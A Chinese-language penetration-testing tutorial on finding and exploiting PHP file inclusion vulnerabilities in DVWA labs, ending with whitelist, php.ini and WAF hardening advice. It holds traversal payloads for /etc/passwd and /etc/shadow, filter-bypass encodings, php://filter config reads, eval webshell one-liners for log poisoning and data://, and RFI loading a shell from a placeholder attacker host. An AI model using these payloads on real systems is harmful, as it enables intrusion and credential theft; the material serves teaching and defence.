完整挖掘与利用文件包含漏洞深度详解

📅 2026/7/2 6:20:57
完整挖掘与利用文件包含漏洞深度详解
前言在 Web 安全渗透测试体系中文件包含漏洞属于 OWASP Top10 高频高危漏洞几乎是入门靶场、实战渗透环境的必测漏洞类型。本次任务 6.1 核心目标为寻找文件包含漏洞从漏洞原理、环境识别、全流程探测、多场景漏洞利用、绕过过滤技巧、实战提权思路、漏洞修复加固七个维度完整拆解渗透流程结合 DVWA、PHPstudy 本地靶场实操案例覆盖本地文件包含 LFI、远程文件包含 RFI、PHP 伪协议利用、日志包含 GetShell 等核心技术点兼顾新手学习与实战落地参考。全文完整覆盖渗透测试标准操作流程详细复现从发现漏洞到输出修复报告全链路操作。一、文件包含漏洞底层原理与分类1.1 漏洞产生根源动态 Web 语言PHP 为主JSP/ASP 也存在同类风险为了实现页面复用、模板加载功能内置文件包含类函数开发人员为简化代码直接将 URL、POST、Cookie 等用户可控输入拼接至包含函数未做路径校验、字符过滤、目录限制最终触发文件包含漏洞。 以 PHP 高危函数为例include()包含文件文件不存在仅抛出警告程序继续运行include_once()单次包含文件防止重复加载require()强制包含文件文件不存在直接终止程序require_once()强制单次加载文件。 危险漏洞代码示例php运行?php // 用户通过url参数page控制加载页面无任何过滤 $file $_GET[page]; include($file); ?正常业务访问http://127.0.0.1/index.php?pagehome.php页面正常加载首页模板。 攻击者可控page参数传入任意路径即可读取服务器本地文件或加载远程恶意脚本漏洞由此产生。1.2 漏洞两大核心分类本地文件包含漏洞LFI Local File Inclusion无需修改服务器配置仅能读取服务器本地磁盘文件是渗透中最常见类型。利用../目录穿越字符跳出网站根目录读取系统敏感文件、网站源码、日志文件。Windows、Linux 服务器均可触发仅目标文件路径存在差异。远程文件包含漏洞RFI Remote File Inclusion危害远高于 LFI需要 PHP 配置项allow_url_include On开启才能生效。攻击者可传入远程 HTTP/HTTPS 地址服务器会主动请求远程服务器上的恶意脚本并执行无需上传木马即可直接获取服务器 Web 权限。二、任务前置靶场环境搭建与漏洞点位识别2.1 本地测试环境部署本次任务推荐使用 PHPStudy 集成环境 DVWA 漏洞靶场复现PHP 版本选择 5.x高版本默认关闭远程包含适合分段测试 LFI/RFI 两种场景。搭建 PHP 网站部署存在文件包含漏洞的测试页面index.php配置 DVWA 靶场将安全等级调为 Low无任何输入过滤用于基础漏洞验证Medium/High 安全等级用于练习过滤绕过技巧完整覆盖任务测试场景。2.2 寻找文件包含漏洞特征参数任务核心第一步渗透测试前期信息收集阶段需要爬取全站 URL标记所有带有文件加载、页面切换功能的可控 GET/POST 参数高风险关键词参数清单 页面模板类page、template、tpl、mod、module、skin 文件读取类file、path、view、read、doc、load 附件下载类download、attach、img、pic。 日常业务场景举例新闻切换页面、网站主题切换、在线文档预览、附件下载功能90% 文件包含漏洞都出现在以上功能接口。 拿到可疑参数后记录 URL 作为本次任务的测试目标例如http://testweb.com/news.php?pagenews1.phphttp://testweb.com/file.php?pathintro.txt三、漏洞探测实操分步验证是否存在文件包含漏洞3.1 基础目录穿越 Payload 测试区分服务器操作系统传入系统标志性文件路径判断是否存在 LFI 漏洞。Linux 服务器探针?page../../etc/passwd?page../../etc/group?page../../etc/shadow高权限读取用户密码哈希 正常返回系统用户列表即证明存在本地文件包含漏洞。Windows 服务器探针?page../../windows/win.ini?page../../windows/system32/drivers/etc/hosts页面返回系统配置文本漏洞确认有效。3.2 基础过滤绕过 Payload 集多数站点会简单过滤../直接拦截基础目录穿越字符任务中需要使用变形 Payload 绕过检测多层斜杠变形....//....//etc/passwd程序仅替换单次../多层拼接即可绕过反斜杠混合Windows 环境..\..\windows\win.ini部分过滤仅拦截正斜杠URL 编码绕过..%2F..%2Fetc%2Fpasswd前端过滤未解码参数直接判断后端解码后触发穿越双 URL 二次编码..%252F..%252Fetc%252Fpasswd部分 WAF 仅单次解码校验空字符截断PHP5.3 有效../../etc/passwd%00利用 %00 空字符截断后端追加的.php后缀。3.3 远程文件包含 RFI 漏洞探测测试目标 URL 后追加远程恶意地址判断服务器是否支持远程加载?pagehttp://攻击者IP/shell.txt页面出现 PHP 代码执行报错、或者直接输出恶意脚本内容说明allow_url_include开启存在高危 RFI 漏洞。 无外网环境可使用本地文件协议file:///etc/passwd辅助验证远程协议是否放行。四、漏洞深度利用任务进阶核心攻击手段确认漏洞存在后分层开展利用操作从信息搜集到 GetShell 提权完整覆盖也是本次渗透任务得分关键。4.1 利用 LFI 读取网站核心源码与数据库配置网站数据库配置文件存储后台账号、数据库用户名、密码、数据库地址是渗透中优先级最高的读取目标。 Linux 网站常见配置路径?page../../var/www/html/config.php?page../../var/www/config/db.phpWindows 网站路径?page../../phpstudy/www/config.php直接访问配置文件会被浏览器解析无法查看源码这里引入 PHP 伪协议解决源码读取问题。4.2 PHP 伪协议高级利用过滤目录穿越时最优解当站点彻底拦截../目录穿越字符无法跳出网站根目录使用php://filter伪协议直接读取网站内任意 PHP 文件源码无需目录穿越。 核心 Payload?pagephp://filter/readconvert.base64-encode/resourceconfig.php服务器会将config.php源码进行 Base64 编码输出复制页面返回字符串在线解码即可查看完整明文源码获取数据库账号密码、后台密钥、管理员登录凭证。 其他实用伪协议php://input配合 POST 请求传入 PHP 代码实现无文件命令执行data://text/plain,?php eval($_POST[cmd]);?部分环境下直接写入木马执行zip://、phar://读取压缩包内文件搭配文件上传漏洞组合攻击。4.3 日志文件包含 GetShell无上传点拿权限核心方法本地文件包含最实用的提权手段适用于仅存在 LFI、无法上传文件的场景操作分为两步构造恶意访问请求将 PHP 木马写入网站访问日志 在 URL 中插入一句话木马http://testweb.com/index.php??php eval($_POST[shell]);?服务器会将完整请求记录至 Apache/Nginx 访问日志通过 LFI 漏洞包含日志文件执行木马 Linux Apache 日志路径?page../../var/log/apache2/access.logLinux Nginx 日志路径?page../../var/log/nginx/access.logWindows PHPStudy 日志?page../../phpstudy/Extensions/Apache/logs/access.log访问该 Payload 后蚁剑 / 菜刀可直接连接日志文件获取服务器 Web 权限。4.4 RFI 远程文件包含一键 GetShell远程包含漏洞利用成本极低攻击流程简单高效攻击者自建 HTTP 服务器放置一句话木马文件shell.txt目标站点 URL 传入远程地址?pagehttp://攻击机IP/shell.txt目标服务器自动下载远程 txt 文件并解析执行 PHP 代码直接连接木马拿下全站权限。 若站点过滤http://可使用编码、https://、ftp://协议绕过检测。4.5 组合漏洞联动提权实战中文件包含漏洞很少单独使用常搭配其他漏洞扩大权限文件上传 LFI上传图片马利用文件包含解析图片内 PHP 代码文件包含 SQL 注入注入读取系统路径结合 LFI 读取密码文件LFIXXE外部实体注入泄露服务器绝对路径精准读取日志、配置。五、主流防御绕过技巧实战总结本次任务 Medium/High 安全等级靶场会部署基础过滤汇总高频绕过思路后缀追加绕过后端自动补全.php后缀时使用伪协议无需后缀php://filter/resourceconfig特殊分隔符?page/etc/passwd/.、?page./etc//passwd过滤正则无法匹配大小写混淆部分 WAF 区分大小写PHP://Filter/ReadConvert.BASE64-Encode特殊协议拆分ht%74p://URL 编码拆分 http 关键词绕过关键词拦截换行、制表符插入 Payload干扰 WAF 正则匹配规则。六、漏洞安全风险分析与真实场景危害信息泄露风险读取/etc/shadow系统用户密码哈希、数据库配置文件攻击者可登录网站后台、数据库拖取全站用户数据远程代码执行风险日志包含、RFI 直接执行恶意代码上传大马、窃取服务器全部文件横向渗透风险拿下 Web 权限后读取服务器内网配置渗透内网其他业务系统业务数据泄露电商、政务类网站存在该漏洞会造成用户手机号、身份证、订单数据大规模泄露触发合规处罚。七、漏洞修复与加固完整方案渗透任务必备输出项完成漏洞挖掘利用后必须输出标准化修复建议从代码、服务器、WAF 三层加固彻底消除文件包含风险。7.1 代码层修复根本解决方案白名单限制参数预设允许加载的文件名不在白名单内直接拦截 示例代码php运行$allow_list [home.php,news.php,about.php]; $file $_GET[page]; if(!in_array($file,$allow_list)){ die(非法文件请求); } include($file);路径标准化处理使用basename()、realpath()函数清理输入路径自动剔除../目录穿越字符禁止用户输入直接拼接文件路径固定文件加载根目录限定程序仅能读取模板文件夹禁用高危伪协议代码内拦截php://、data://、http://等危险协议关键词。7.2 服务器 PHP 配置加固php.ini关闭远程包含allow_url_include Off杜绝 RFI 漏洞关闭危险函数禁用allow_url_fopen限制服务器发起远程 HTTP 请求限制 PHP 运行权限网站进程使用低权限账号运行禁止读取/etc/shadow、系统核心目录日志文件权限收紧禁止 Web 进程读写访问日志阻断日志包含 GetShell 路径。7.3 防护设备层加固部署 Web 应用防火墙 WAF拦截../、各类伪协议、远程 http 地址特征 Payload服务器权限最小化网站根目录外敏感文件设置访问权限隔离定期安全扫描自动化检测页面可控文件参数提前发现潜在包含漏洞。八、本次任务 6.1 完整实操总结本次 “寻找文件包含漏洞” 渗透任务完整流程可归纳为标准化渗透四步信息收集标记可控参数→目录穿越探针验证漏洞类型→分层利用读取信息 / 获取服务器权限→输出漏洞修复加固方案。 文件包含漏洞作为入门级高危漏洞门槛低、危害覆盖广是 Web 渗透测试必须熟练掌握的核心技能。新手练习建议按 DVWA 低、中、高安全等级分段测试循序渐进掌握基础探测、过滤绕过、伪协议利用、日志提权全套技术。 在真实企业安全测试中不能仅停留在读取本地文件的基础验证需要结合业务场景挖掘组合攻击路径评估漏洞带来的数据泄露、服务器沦陷等实际业务风险同时输出可落地、分层级的修复方案形成完整合规的渗透测试报告。 从开发角度杜绝直接拼接用户可控输入至文件包含函数采用白名单机制限制文件加载范围是从根源消除该类漏洞的最优手段运维侧同步收紧服务器权限、关闭危险 PHP 配置多层防护降低漏洞被利用的概率。